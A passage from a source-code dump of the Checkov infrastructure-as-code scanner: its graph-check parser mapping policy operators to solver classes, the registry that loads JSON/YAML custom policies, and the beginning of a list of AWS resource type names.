RegexMatchAttributeSolver, NotRegexMatchAttributeSolver, ExistsAttributeSolver, AnyResourceSolver, ContainsAttributeSolver, NotExistsAttributeSolver, WithinAttributeSolver, NotContainsAttributeSolver, StartingWithAttributeSolver, NotStartingWithAttributeSolver, EndingWithAttributeSolver, NotEndingWithAttributeSolver, AndSolver, OrSolver, NotSolver, ConnectionExistsSolver, ConnectionNotExistsSolver, AndConnectionSolver, OrConnectionSolver, WithinFilterSolver, GreaterThanAttributeSolver, GreaterThanOrEqualAttributeSolver, LessThanAttributeSolver, LessThanOrEqualAttributeSolver, SubsetAttributeSolver, NotSubsetAttributeSolver, IsEmptyAttributeSolver, IsNotEmptyAttributeSolver, LengthEqualsAttributeSolver, LengthNotEqualsAttributeSolver, LengthGreaterThanAttributeSolver, LengthLessThanAttributeSolver, LengthLessThanOrEqualAttributeSolver, LengthGreaterThanOrEqualAttributeSolver, IsTrueAttributeSolver, IsFalseAttributeSolver, IntersectsAttributeSolver, NotIntersectsAttributeSolver, EqualsIgnoreCaseAttributeSolver, NotEqualsIgnoreCaseAttributeSolver, RangeIncludesAttributeSolver, RangeNotIncludesAttributeSolver, NumberOfWordsEqualsAttributeSolver, NumberOfWordsNotEqualsAttributeSolver, NumberOfWordsGreaterThanAttributeSolver, NumberOfWordsGreaterThanOrEqualAttributeSolver, NumberOfWordsLessThanAttributeSolver, NumberOfWordsLessThanOrEqualAttributeSolver, NotWithinAttributeSolver, CIDRRangeSubsetAttributeSolver, CIDRRangeNotSubsetAttributeSolver, ) from checkov.common.checks_infra.solvers.connections_solvers.connection_one_exists_solver import \ ConnectionOneExistsSolver from checkov.common.checks_infra.solvers.resource_solvers import ExistsResourcerSolver, NotExistsResourcerSolver from checkov.common.checks_infra.solvers.resource_solvers.base_resource_solver import BaseResourceSolver from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.common.graph.checks_infra.base_parser import BaseGraphCheckParser from checkov.common.graph.checks_infra.enums import SolverType from checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver from checkov.common.util.env_vars_config import env_vars_config from checkov.common.util.type_forcers import force_list if TYPE_CHECKING: from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver from checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver from checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver from checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver operators_to_attributes_solver_classes: dict[str, Type[BaseAttributeSolver]] = { "equals": EqualsAttributeSolver, "not_equals": NotEqualsAttributeSolver, "regex_match": RegexMatchAttributeSolver, "not_regex_match": NotRegexMatchAttributeSolver, "exists": ExistsAttributeSolver, "any": AnyResourceSolver, "contains": ContainsAttributeSolver, "not_exists": NotExistsAttributeSolver, "within": WithinAttributeSolver, "not_within": NotWithinAttributeSolver, "not_contains": NotContainsAttributeSolver, "starting_with": StartingWithAttributeSolver, "not_starting_with": NotStartingWithAttributeSolver, "ending_with": EndingWithAttributeSolver, "not_ending_with": NotEndingWithAttributeSolver, "greater_than": GreaterThanAttributeSolver, "greater_than_or_equal": GreaterThanOrEqualAttributeSolver, "less_than": LessThanAttributeSolver, "less_than_or_equal": LessThanOrEqualAttributeSolver, "subset": SubsetAttributeSolver, "not_subset": NotSubsetAttributeSolver, "is_empty": IsEmptyAttributeSolver, "is_not_empty": IsNotEmptyAttributeSolver, "length_equals": LengthEqualsAttributeSolver, "length_not_equals": LengthNotEqualsAttributeSolver, "length_greater_than": LengthGreaterThanAttributeSolver, "length_greater_than_or_equal": LengthGreaterThanOrEqualAttributeSolver, "length_less_than": LengthLessThanAttributeSolver, "length_less_than_or_equal": LengthLessThanOrEqualAttributeSolver, "is_true": IsTrueAttributeSolver, "is_false": IsFalseAttributeSolver, "intersects": IntersectsAttributeSolver, "not_intersects": NotIntersectsAttributeSolver, "equals_ignore_case": EqualsIgnoreCaseAttributeSolver, "not_equals_ignore_case": NotEqualsIgnoreCaseAttributeSolver, "range_includes": RangeIncludesAttributeSolver, "range_not_includes": RangeNotIncludesAttributeSolver, "number_of_words_equals": NumberOfWordsEqualsAttributeSolver, "number_of_words_not_equals": NumberOfWordsNotEqualsAttributeSolver, "number_of_words_greater_than": NumberOfWordsGreaterThanAttributeSolver, "number_of_words_greater_than_or_equal": NumberOfWordsGreaterThanOrEqualAttributeSolver, "number_of_words_less_than_or_equal": NumberOfWordsLessThanOrEqualAttributeSolver, "number_of_words_less_than": NumberOfWordsLessThanAttributeSolver, "cidr_range_subset": CIDRRangeSubsetAttributeSolver, "cidr_range_not_subset": CIDRRangeNotSubsetAttributeSolver, } operators_to_complex_solver_classes: dict[str, Type[BaseComplexSolver]] = { "and": AndSolver, "or": OrSolver, "not": NotSolver, } operator_to_connection_solver_classes: dict[str, Type[BaseConnectionSolver]] = { "exists": ConnectionExistsSolver, "one_exists": ConnectionOneExistsSolver, "not_exists": ConnectionNotExistsSolver } operator_to_complex_connection_solver_classes: dict[str, Type[ComplexConnectionSolver]] = { "and": AndConnectionSolver, "or": OrConnectionSolver, } operator_to_filter_solver_classes: dict[str, Type[BaseFilterSolver]] = { "within": WithinFilterSolver, } condition_type_to_solver_type = { "": SolverType.ATTRIBUTE, "attribute": SolverType.ATTRIBUTE, "connection": SolverType.CONNECTION, "filter": SolverType.FILTER, "resource": SolverType.RESOURCE, } operator_to_resource_solver_classes: dict[str, Type[BaseResourceSolver]] = { "exists": ExistsResourcerSolver, "not_exists": NotExistsResourcerSolver, } JSONPATH_PREFIX = "jsonpath_" class GraphCheckParser(BaseGraphCheckParser): def validate_check_config(self, file_path: str, raw_check: dict[str, dict[str, Any]]) -> bool: missing_fields = [] # check existence of metadata block if "metadata" in raw_check: metadata = raw_check["metadata"] if "id" not in metadata: missing_fields.append("metadata.id") if "name" not in metadata: missing_fields.append("metadata.name") if "category" not in metadata: missing_fields.append("metadata.category") else: missing_fields.extend(("metadata.id", "metadata.name", "metadata.category")) # check existence of definition block if "definition" not in raw_check: missing_fields.append("definition") if missing_fields: logging.warning(f"Custom policy {file_path} is missing required fields {', '.join(missing_fields)}") return False # check if definition block is not obviously invalid definition = raw_check["definition"] if not isinstance(definition, (list, dict)): logging.warning( f"Custom policy {file_path} has an invalid 'definition' block type '{type(definition).__name__}', " "needs to be either a 'list' or 'dict'" ) return False return True def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> BaseGraphCheck: providers = self._get_check_providers(raw_check) policy_definition = raw_check.get("definition", {}) check = self._parse_raw_check(policy_definition, kwargs.get("resources_types"), providers) check.id = raw_check.get("metadata", {}).get("id", "") check.name = raw_check.get("metadata", {}).get("name", "") check.category = raw_check.get("metadata", {}).get("category", "") check.frameworks = raw_check.get("metadata", {}).get("frameworks", []) severity = get_severity(raw_check.get("metadata", {}).get("severity", "")) if severity: check.severity = severity check.guideline = raw_check.get("metadata", {}).get("guideline") check.check_path = kwargs.get("check_path", "") solver = self.get_check_solver(check) solver.providers = providers check.set_solver(solver) return check @staticmethod def _get_check_providers(raw_check: Dict[str, Any]) -> List[str]: providers = raw_check.get("scope", {}).get("provider", [""]) if isinstance(providers, list): return providers elif isinstance(providers, str): return [providers] else: return [""] def _parse_raw_check(self, raw_check: Dict[str, Any], resources_types: Optional[List[str]], providers: Optional[List[str]]) -> BaseGraphCheck: check = BaseGraphCheck() complex_operator = get_complex_operator(raw_check) if complex_operator: check.type = SolverType.COMPLEX check.operator = complex_operator sub_solvers = raw_check.get(complex_operator, []) # this allows flexibility for specifying the child conditions, and makes "not" more intuitive by # not requiring an actual list if isinstance(sub_solvers, dict): sub_solvers = [sub_solvers] for sub_solver in sub_solvers: check.sub_checks.append(self._parse_raw_check(sub_solver, resources_types, providers)) resources_types_of_sub_solvers = [ force_list(q.resource_types) for q in check.sub_checks if q is not None and q.resource_types is not None ] check.resource_types = list(set(sum(resources_types_of_sub_solvers, []))) if any(q.type in [SolverType.CONNECTION, SolverType.COMPLEX_CONNECTION] for q in check.sub_checks): check.type = SolverType.COMPLEX_CONNECTION else: resource_type = raw_check.get("resource_types", []) if ( resource_type and ((isinstance(resource_type, str) and resource_type.lower() == "taggable") or (isinstance(resource_type, list) and resource_type[0].lower() == "taggable")) ): if providers and len(providers) > 0 and providers != ['']: provider = providers[0].lower() taggable_resources = raw_resources_types.get(provider + "_taggable", []) check.resource_types = taggable_resources else: # Get all taggable resources across providers all_taggable = [] for provider in ['aws', 'azure', 'gcp']: all_taggable.extend(raw_resources_types.get(f"{provider}_taggable", [])) check.resource_types = all_taggable elif ( not resource_type or (isinstance(resource_type, str) and resource_type.lower() == "all") or (isinstance(resource_type, list) and resource_type[0].lower() == "all") ): if env_vars_config.CKV_SUPPORT_ALL_RESOURCE_TYPE: check.resource_types = ['all'] else: check.resource_types = resources_types or [] elif "provider" in resource_type and providers: for provider in providers: check.resource_types.append(f"provider.{provider.lower()}") elif isinstance(resource_type, str): # for the case the "resource_types" value is a string, which can result in a silent exception check.resource_types = [resource_type] else: check.resource_types = resource_type connected_resources_type = raw_check.get("connected_resource_types", []) if connected_resources_type == ["All"] or connected_resources_type == "all": check.connected_resources_types = resources_types or [] else: check.connected_resources_types = connected_resources_type condition_type = raw_check.get("cond_type", "") check.type = condition_type_to_solver_type.get(condition_type) if condition_type == "": check.operator = "any" else: check.operator = raw_check.get("operator", "") check.attribute = raw_check.get("attribute") check.attribute_value = raw_check.get("value") return check @staticmethod def get_solver_type_method(check: BaseGraphCheck) -> Optional[BaseAttributeSolver]: check.is_jsonpath_check = check.operator.startswith(JSONPATH_PREFIX) if check.is_jsonpath_check: solver = check.operator.replace(JSONPATH_PREFIX, '') else: solver = check.operator return operators_to_attributes_solver_classes.get(solver, lambda *args: None)( check.resource_types, check.attribute, check.attribute_value, check.is_jsonpath_check ) def get_check_solver(self, check: BaseGraphCheck) -> BaseSolver: sub_solvers: List[BaseSolver] = [] if check.sub_checks: sub_solvers = [] for sub_solver in check.sub_checks: sub_solvers.append(self.get_check_solver(sub_solver)) type_to_solver = { SolverType.COMPLEX_CONNECTION: operator_to_complex_connection_solver_classes.get( check.operator, lambda *args: None )(sub_solvers, check.operator), SolverType.COMPLEX: operators_to_complex_solver_classes.get(check.operator, lambda *args: None)( sub_solvers, check.resource_types ), SolverType.ATTRIBUTE: self.get_solver_type_method(check), SolverType.CONNECTION: operator_to_connection_solver_classes.get(check.operator, lambda *args: None)( check.resource_types, check.connected_resources_types ), SolverType.FILTER: operator_to_filter_solver_classes.get(check.operator, lambda *args: None)( check.resource_types, check.attribute, check.attribute_value ), SolverType.RESOURCE: operator_to_resource_solver_classes.get(check.operator, lambda *args: None)( check.resource_types ), } solver = type_to_solver.get(check.type) # type:ignore[arg-type] # if not str will return None if not solver: raise NotImplementedError(f"solver type {check.type} with operator {check.operator} is not supported") return solver class NXGraphCheckParser(GraphCheckParser): # TODO: delete after downstream adjustments pass def get_complex_operator(raw_check: Dict[str, Any]) -> Optional[str]: for operator in operators_to_complex_solver_classes.keys(): if raw_check.get(operator): return operator return None ================================================ FILE: checkov/common/checks_infra/registry.py ================================================ from __future__ import annotations import json import logging import os from pathlib import Path from typing import Any, TYPE_CHECKING import yaml from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.graph.checks_infra.base_parser import BaseGraphCheckParser from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.runner_filter import RunnerFilter from checkov.common.checks_infra.resources_types import resources_types if TYPE_CHECKING: from checkov.common.graph.checks_infra.base_check import BaseGraphCheck CHECKS_POSSIBLE_ENDING = {".json", ".yaml", ".yml"} GraphSupportedIACFrameworks = [GraphSource.TERRAFORM, GraphSource.CLOUDFORMATION, GraphSource.KUBERNETES, GraphSource.TERRAFORM_PLAN, GraphSource.KUSTOMIZE, GraphSource.BICEP, GraphSource.GITHUB_ACTION, GraphSource.HELM, GraphSource.ANSIBLE, GraphSource.ARM] class Registry(BaseRegistry): def __init__(self, checks_dir: str, parser: BaseGraphCheckParser | None = None) -> None: parser = parser or BaseGraphCheckParser() super().__init__(parser) self.checks: list[BaseGraphCheck] = [] self.checks_dir = checks_dir self.internal_checks_dir_loaded = False self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) def load_checks(self) -> None: if self.checks and self.internal_checks_dir_loaded: # checks were previously loaded return self._load_checks_from_dir(self.checks_dir, False) def _load_checks_from_dir(self, directory: str, external_check: bool) -> None: dir = os.path.expanduser(directory) self.logger.debug(f"Loading external checks from {dir}") for root, d_names, f_names in os.walk(dir): self.logger.debug(f"Searching through {d_names} and {f_names}") for file in f_names: file_ending = os.path.splitext(file)[1] if file_ending in CHECKS_POSSIBLE_ENDING: with open(os.path.join(root, file), "r") as f: if dir != self.checks_dir: self.logger.info(f"loading {file}") if file_ending == ".json": check_json = json.load(f) else: check_yaml = yaml.safe_load(f) check_json = json.loads(json.dumps(check_yaml)) if not isinstance(check_json, dict): self.logger.error(f"Loaded data from JSON is not Dict. Skipping. Data: {check_json}.") continue if not self.parser.validate_check_config(file_path=f.name, raw_check=check_json): # proper log messages are generated inside the method continue check = self.parser.parse_raw_check( check_json, resources_types=self._get_resource_types(check_json), check_path=f'{root}/{file}' ) if not any(c for c in self.checks if check.id == c.id): if external_check: # Note the external check; used in the should_run_check logic RunnerFilter.notify_external_check(check.id) self.checks.append(check) if not external_check: self.internal_checks_dir_loaded = True def load_external_checks(self, dir: str) -> None: self._load_checks_from_dir(dir, True) @staticmethod def _get_resource_types(check_json: dict[str, dict[str, Any]]) -> list[str] | None: provider = check_json.get("scope", {}).get("provider", "").lower() return resources_types.get(provider) _registry_instances: dict[str, Registry] = {} def _initialize_registry(check_type: str) -> None: _registry_instances[check_type] = Registry( parser=GraphCheckParser(), checks_dir=f"{Path(__file__).parent.parent.parent}/{check_type}/checks/graph_checks", ) def get_graph_checks_registry(check_type: str) -> Registry: if not _registry_instances.get(check_type): _initialize_registry(check_type) return _registry_instances[check_type] def get_all_graph_checks_registries() -> list[Registry]: graph_supported_iac_frameworks = [framework.value.lower() for framework in GraphSupportedIACFrameworks] for framework in graph_supported_iac_frameworks: if not _registry_instances.get(framework): _initialize_registry(framework) return list(_registry_instances[framework] for framework in graph_supported_iac_frameworks) ================================================ FILE: checkov/common/checks_infra/resources_types.py ================================================ resources_types = { "aws": [ "aws", "aws_root", "aws_root_access_key", "aws_acm_certificate", "aws_acm_certificate_validation", "aws_acmpca_certificate_authority", "aws_api_gateway_account", "aws_api_gateway_api_key", "aws_api_gateway_authorizer", "aws_api_gateway_base_path_mapping", "aws_api_gateway_client_certificate", "aws_api_gateway_deployment", "aws_api_gateway_documentation_part", "aws_api_gateway_documentation_version", "aws_api_gateway_domain_name", "aws_api_gateway_gateway_response", "aws_api_gateway_integration", "aws_api_gateway_integration_response", "aws_api_gateway_method", "aws_api_gateway_method_response", "aws_api_gateway_method_settings", "aws_api_gateway_model", "aws_api_gateway_request_validator", "aws_api_gateway_resource", "aws_api_gateway_rest_api", "aws_api_gateway_stage", "aws_api_gateway_usage_plan", "aws_api_gateway_usage_plan_key", "aws_api_gateway_vpc_link", "aws_apigatewayv2_api", "aws_apigatewayv2_api_mapping", "aws_apigatewayv2_authorizer", "aws_apigatewayv2_deployment", "aws_apigatewayv2_domain_name", "aws_apigatewayv2_integration", "aws_apigatewayv2_integration_response", "aws_apigatewayv2_model", "aws_apigatewayv2_route", "aws_apigatewayv2_route_response", "aws_apigatewayv2_stage", "aws_apigatewayv2_vpc_link", "aws_accessanalyzer_analyzer", "aws_appmesh_mesh", "aws_appmesh_route", "aws_appmesh_virtual_node", "aws_appmesh_virtual_router", "aws_appmesh_virtual_service", "aws_appsync_api_key", "aws_appsync_datasource", "aws_appsync_function", "aws_appsync_graphql_api", "aws_appsync_resolver", "aws_appautoscaling_policy", "aws_appautoscaling_scheduled_action", "aws_appautoscaling_target", "aws_athena_database", "aws_athena_named_query", "aws_athena_workgroup", "aws_autoscaling_attachment", "aws_autoscaling_group", "aws_autoscaling_lifecycle_hook", "aws_autoscaling_notification", "aws_autoscaling_policy", "aws_autoscaling_schedule", "aws_backup_plan", "aws_backup_selection", "aws_backup_vault", "aws_batch_compute_environment", "aws_batch_job_definition", "aws_batch_job_queue", "aws_budgets_budget", "aws_cloud9_environment_ec2", "aws_cloudformation_stack", "aws_cloudformation_stack_set", "aws_cloudformation_stack_set_instance", "aws_cloudfront_distribution", "aws_cloudfront_origin_access_identity", "aws_cloudfront_public_key", "aws_cloudhsm_v2_cluster", "aws_cloudhsm_v2_hsm", "aws_cloudtrail", "aws_cloudwatch_dashboard", "aws_cloudwatch_event_permission", "aws_cloudwatch_event_rule", "aws_cloudwatch_event_target", "aws_cloudwatch_log_destination", "aws_cloudwatch_log_destination_policy", "aws_cloudwatch_log_group", "aws_cloudwatch_log_metric_filter", "aws_cloudwatch_log_resource_policy", "aws_cloudwatch_log_stream", "aws_cloudwatch_log_subscription_filter", "aws_cloudwatch_metric_alarm", "aws_codebuild_project", "aws_codebuild_source_credential", "aws_codebuild_webhook", "aws_codecommit_repository", "aws_codecommit_trigger", "aws_codedeploy_app", "aws_codedeploy_deployment_config", "aws_codedeploy_deployment_group", "aws_codepipeline", "aws_codepipeline_webhook", "aws_codestarnotifications_notification_rule", "aws_cognito_identity_pool", "aws_cognito_identity_pool_roles_attachment", "aws_cognito_identity_provider", "aws_cognito_resource_server", "aws_cognito_user_group", "aws_cognito_user_pool", "aws_cognito_user_pool_client", "aws_cognito_user_pool_domain", "aws_config_aggregate_authorization", "aws_config_config_rule", "aws_config_configuration_aggregator", "aws_config_configuration_recorder", "aws_config_configuration_recorder_status", "aws_config_delivery_channel", "aws_config_organization_custom_rule", "aws_config_organization_managed_rule", "aws_cur_report_definition", "aws_dlm_lifecycle_policy", "aws_datapipeline_pipeline", "aws_datasync_agent", "aws_datasync_location_efs", "aws_datasync_location_nfs", "aws_datasync_location_s3", "aws_datasync_location_smb", "aws_datasync_task", "aws_dms_certificate", "aws_dms_endpoint", "aws_dms_event_subscription", "aws_dms_replication_instance", "aws_dms_replication_subnet_group", "aws_dms_replication_task", "aws_devicefarm_project", "aws_dx_bgp_peer", "aws_dx_connection", "aws_dx_connection_association", "aws_dx_gateway", "aws_dx_gateway_association", "aws_dx_gateway_association_proposal", "aws_dx_hosted_private_virtual_interface", "aws_dx_hosted_private_virtual_interface_accepter", "aws_dx_hosted_public_virtual_interface", "aws_dx_hosted_public_virtual_interface_accepter", "aws_dx_hosted_transit_virtual_interface", "aws_dx_hosted_transit_virtual_interface_accepter", "aws_dx_lag", "aws_dx_private_virtual_interface", "aws_dx_public_virtual_interface", "aws_dx_transit_virtual_interface", "aws_directory_service_conditional_forwarder", "aws_directory_service_directory", "aws_directory_service_log_subscription", "aws_docdb_cluster", "aws_docdb_cluster_instance", "aws_docdb_cluster_parameter_group", "aws_docdb_cluster_snapshot", "aws_docdb_subnet_group", "aws_dynamodb_global_table", "aws_dynamodb_table", "aws_dynamodb_table_item", "aws_dax_cluster", "aws_dax_parameter_group", "aws_dax_subnet_group", "aws_ami", "aws_ami_copy", "aws_ami_from_instance", "aws_ami_launch_permission", "aws_ebs_default_kms_key", "aws_ebs_encryption_by_default", "aws_ebs_snapshot", "aws_ebs_snapshot_copy", "aws_ebs_volume", "aws_ec2_availability_zone_group", "aws_ec2_capacity_reservation", "aws_ec2_client_vpn_authorization_rule", "aws_ec2_client_vpn_endpoint", "aws_ec2_client_vpn_network_association", "aws_ec2_client_vpn_route", "aws_ec2_fleet", "aws_ec2_local_gateway_route", "aws_ec2_local_gateway_route_table_vpc_association", "aws_ec2_tag", "aws_ec2_traffic_mirror_filter", "aws_ec2_traffic_mirror_filter_rule", "aws_ec2_traffic_mirror_session", "aws_ec2_traffic_mirror_target", "aws_ec2_transit_gateway", "aws_ec2_transit_gateway_peering_attachment", "aws_ec2_transit_gateway_peering_attachment_accepter", "aws_ec2_transit_gateway_route", "aws_ec2_transit_gateway_route_table", "aws_ec2_transit_gateway_route_table_association", "aws_ec2_transit_gateway_route_table_propagation", "aws_ec2_transit_gateway_vpc_attachment", "aws_ec2_transit_gateway_vpc_attachment_accepter", "aws_eip", "aws_eip_association", "aws_instance", "aws_key_pair", "aws_launch_configuration", "aws_launch_template", "aws_placement_group", "aws_snapshot_create_volume_permission", "aws_spot_datafeed_subscription", "aws_spot_fleet_request", "aws_spot_instance_request", "aws_volume_attachment", "aws_ecr_lifecycle_policy", "aws_ecr_repository", "aws_ecr_repository_policy", "aws_ecs_capacity_provider", "aws_ecs_cluster", "aws_ecs_service", "aws_ecs_task_definition", "aws_efs_access_point", "aws_efs_file_system", "aws_efs_file_system_policy", "aws_efs_mount_target", "aws_eks_cluster", "aws_eks_fargate_profile", "aws_eks_node_group", "aws_elasticache_cluster", "aws_elasticache_parameter_group", "aws_elasticache_replication_group", "aws_elasticache_security_group", "aws_elasticache_subnet_group", "aws_elastic_beanstalk_application", "aws_elastic_beanstalk_application_version", "aws_elastic_beanstalk_configuration_template", "aws_elastic_beanstalk_environment", "aws_app_cookie_stickiness_policy", "aws_elb", "aws_elb_attachment", "aws_lb_cookie_stickiness_policy", "aws_lb_ssl_negotiation_policy", "aws_load_balancer_backend_server_policy", "aws_load_balancer_listener_policy", "aws_load_balancer_policy", "aws_proxy_protocol_policy", "aws_lb", "aws_lb_listener", "aws_lb_listener_certificate", "aws_lb_listener_rule", "aws_lb_target_group", "aws_lb_target_group_attachment", "aws_emr_cluster", "aws_emr_instance_group", "aws_emr_security_configuration", "aws_elastictranscoder_pipeline", "aws_elastictranscoder_preset", "aws_elasticsearch_domain", "aws_elasticsearch_domain_policy", "aws_fsx_lustre_file_system", "aws_fsx_windows_file_system", "aws_fms_admin_account", "aws_gamelift_alias", "aws_gamelift_build", "aws_gamelift_fleet", "aws_gamelift_game_session_queue", "aws_glacier_vault", "aws_glacier_vault_lock", "aws_globalaccelerator_accelerator", "aws_globalaccelerator_endpoint_group", "aws_globalaccelerator_listener", "aws_glue_catalog_database", "aws_glue_catalog_table", "aws_glue_classifier", "aws_glue_connection", "aws_glue_crawler", "aws_glue_job", "aws_glue_security_configuration", "aws_glue_trigger", "aws_glue_workflow", "aws_guardduty_detector", "aws_guardduty_invite_accepter", "aws_guardduty_ipset", "aws_guardduty_member", "aws_guardduty_organization_admin_account", "aws_guardduty_organization_configuration", "aws_guardduty_threatintelset", "aws_iam_access_key", "aws_iam_account_alias", "aws_iam_account_password_policy", "aws_iam_group", "aws_iam_group_membership", "aws_iam_group_policy", "aws_iam_group_policy_attachment", "aws_iam_instance_profile", "aws_iam_openid_connect_provider", "aws_iam_policy", "aws_iam_policy_attachment", "aws_iam_policy_document", "aws_iam_role", "aws_iam_role_policy", "aws_iam_role_policy_attachment", "aws_iam_saml_provider", "aws_iam_server_certificate", "aws_iam_service_linked_role", "aws_iam_user", "aws_iam_user_group_membership", "aws_iam_user_login_profile", "aws_iam_user_policy", "aws_iam_user_policy_attachment", "aws_iam_user_ssh_key", "aws_inspector_assessment_target", "aws_inspector_assessment_template", "aws_inspector_resource_group", "aws_iot_certificate", "aws_iot_policy", "aws_iot_policy_attachment", "aws_iot_role_alias", "aws_iot_thing", "aws_iot_thing_principal_attachment", "aws_iot_thing_type", "aws_iot_topic_rule", "aws_kms_alias", "aws_kms_ciphertext", "aws_kms_external_key", "aws_kms_grant", "aws_kms_key", "aws_kinesis_analytics_application", "aws_kinesis_stream", "aws_kinesis_firehose_delivery_stream", "aws_kinesis_video_stream", "aws_lambda_alias", "aws_lambda_event_source_mapping", "aws_lambda_function", "aws_lambda_function_event_invoke_config", "aws_lambda_layer_version", "aws_lambda_permission", "aws_lambda_provisioned_concurrency_config", "aws_licensemanager_association", "aws_licensemanager_license_configuration", "aws_lightsail_domain", "aws_lightsail_instance", "aws_lightsail_key_pair", "aws_lightsail_static_ip", "aws_lightsail_static_ip_attachment", "aws_mq_broker", "aws_mq_configuration", "aws_macie_member_account_association", "aws_macie_s3_bucket_association", "aws_msk_cluster", "aws_msk_configuration", "aws_media_convert_queue", "aws_media_package_channel", "aws_media_store_container", "aws_media_store_container_policy", "aws_neptune_cluster", "aws_neptune_cluster_instance", "aws_neptune_cluster_parameter_group", "aws_neptune_cluster_snapshot", "aws_neptune_event_subscription", "aws_neptune_parameter_group", "aws_neptune_subnet_group", "aws_opsworks_application", "aws_opsworks_custom_layer", "aws_opsworks_ganglia_layer", "aws_opsworks_haproxy_layer", "aws_opsworks_instance", "aws_opsworks_java_app_layer", "aws_opsworks_memcached_layer", "aws_opsworks_mysql_layer", "aws_opsworks_nodejs_app_layer", "aws_opsworks_permission", "aws_opsworks_php_app_layer", "aws_opsworks_rails_app_layer", "aws_opsworks_rds_db_instance", "aws_opsworks_stack", "aws_opsworks_static_web_layer", "aws_opsworks_user_profile", "aws_organizations_account", "aws_organizations_organization", "aws_organizations_organizational_unit", "aws_organizations_policy", "aws_organizations_policy_attachment", "aws_pinpoint_adm_channel", "aws_pinpoint_apns_channel", "aws_pinpoint_apns_sandbox_channel", "aws_pinpoint_apns_voip_channel", "aws_pinpoint_apns_voip_sandbox_channel", "aws_pinpoint_app", "aws_pinpoint_baidu_channel", "aws_pinpoint_email_channel", "aws_pinpoint_event_stream", "aws_pinpoint_gcm_channel", "aws_pinpoint_sms_channel", "aws_qldb_ledger", "aws_quicksight_group", "aws_quicksight_user", "aws_ram_principal_association", "aws_ram_resource_association", "aws_ram_resource_share", "aws_ram_resource_share_accepter", "aws_db_cluster_snapshot", "aws_db_event_subscription", "aws_db_instance", "aws_db_instance_role_association", "aws_db_option_group", "aws_db_parameter_group", "aws_db_security_group", "aws_db_snapshot", "aws_db_subnet_group", "aws_rds_cluster", "aws_rds_cluster_endpoint", "aws_rds_cluster_instance", "aws_rds_cluster_parameter_group", "aws_rds_global_cluster", "aws_redshift_cluster", "aws_redshift_event_subscription", "aws_redshift_parameter_group", "aws_redshift_security_group", "aws_redshift_snapshot_copy_grant", "aws_redshift_snapshot_schedule", "aws_redshift_snapshot_schedule_association", "aws_redshift_subnet_group", "aws_resourcegroups_group", "aws_route53_delegation_set", "aws_route53_health_check", "aws_route53_query_log", "aws_route53_record", "aws_route53_zone", "aws_route53_zone_association", "aws_route53_resolver_endpoint", "aws_route53_resolver_rule", "aws_route53_resolver_rule_association", "aws_s3_access_point", "aws_s3_account_public_access_block", "aws_s3_bucket", "aws_s3_bucket_analytics_configuration", "aws_s3_bucket_inventory", "aws_s3_bucket_metric", "aws_s3_bucket_notification", "aws_s3_bucket_object", "aws_s3_bucket_policy", "aws_s3_bucket_public_access_block", "aws_ses_active_receipt_rule_set", "aws_ses_configuration_set", "aws_ses_domain_dkim", "aws_ses_domain_identity", "aws_ses_domain_identity_verification", "aws_ses_domain_mail_from", "aws_ses_email_identity", "aws_ses_event_destination", "aws_ses_identity_notification_topic", "aws_ses_identity_policy", "aws_ses_receipt_filter", "aws_ses_receipt_rule", "aws_ses_receipt_rule_set", "aws_ses_template", "aws_sns_platform_application", "aws_sns_sms_preferences", "aws_sns_topic", "aws_sns_topic_policy", "aws_sns_topic_subscription", "aws_sqs_queue", "aws_sqs_queue_policy", "aws_ssm_activation", "aws_ssm_association", "aws_ssm_document", "aws_ssm_maintenance_window", "aws_ssm_maintenance_window_target", "aws_ssm_maintenance_window_task", "aws_ssm_parameter", "aws_ssm_patch_baseline", "aws_ssm_patch_group", "aws_ssm_resource_data_sync", "aws_swf_domain", "aws_sagemaker_endpoint", "aws_sagemaker_endpoint_configuration", "aws_sagemaker_model", "aws_sagemaker_notebook_instance", "aws_sagemaker_notebook_instance_lifecycle_configuration", "aws_secretsmanager_secret", "aws_secretsmanager_secret_rotation", "aws_secretsmanager_secret_version", "aws_securityhub_account", "aws_securityhub_member", "aws_securityhub_product_subscription", "aws_securityhub_standards_subscription", "aws_servicecatalog_portfolio", "aws_service_discovery_http_namespace", "aws_service_discovery_private_dns_namespace", "aws_service_discovery_public_dns_namespace", "aws_service_discovery_service", "aws_servicequotas_service_quota", "aws_shield_protection", "aws_simpledb_domain", "aws_sfn_activity", "aws_sfn_state_machine", "aws_storagegateway_cache", "aws_storagegateway_cached_iscsi_volume", "aws_storagegateway_gateway", "aws_storagegateway_nfs_file_share", "aws_storagegateway_smb_file_share", "aws_storagegateway_upload_buffer", "aws_storagegateway_working_storage", "aws_transfer_server", "aws_transfer_ssh_key", "aws_transfer_user", "aws_customer_gateway", "aws_default_network_acl", "aws_default_route_table", "aws_default_security_group", "aws_default_subnet", "aws_default_vpc", "aws_default_vpc_dhcp_options", "aws_egress_only_internet_gateway", "aws_flow_log", "aws_internet_gateway", "aws_main_route_table_association", "aws_nat_gateway", "aws_network_acl", "aws_network_acl_rule", "aws_network_interface", "aws_network_interface_attachment", "aws_network_interface_sg_attachment", "aws_route", "aws_route_table", "aws_route_table_association", "aws_security_group", "aws_security_group_rule", "aws_subnet", "aws_vpc", "aws_vpc_dhcp_options", "aws_vpc_dhcp_options_association", "aws_vpc_endpoint", "aws_vpc_endpoint_connection_notification", "aws_vpc_endpoint_route_table_association", "aws_vpc_endpoint_service", "aws_vpc_endpoint_service_allowed_principal", "aws_vpc_endpoint_subnet_association", "aws_vpc_ipv4_cidr_block_association", "aws_vpc_peering_connection", "aws_vpc_peering_connection_accepter", "aws_vpc_peering_connection_options", "aws_vpn_connection", "aws_vpn_connection_route", "aws_vpn_gateway", "aws_vpn_gateway_attachment", "aws_vpn_gateway_route_propagation", 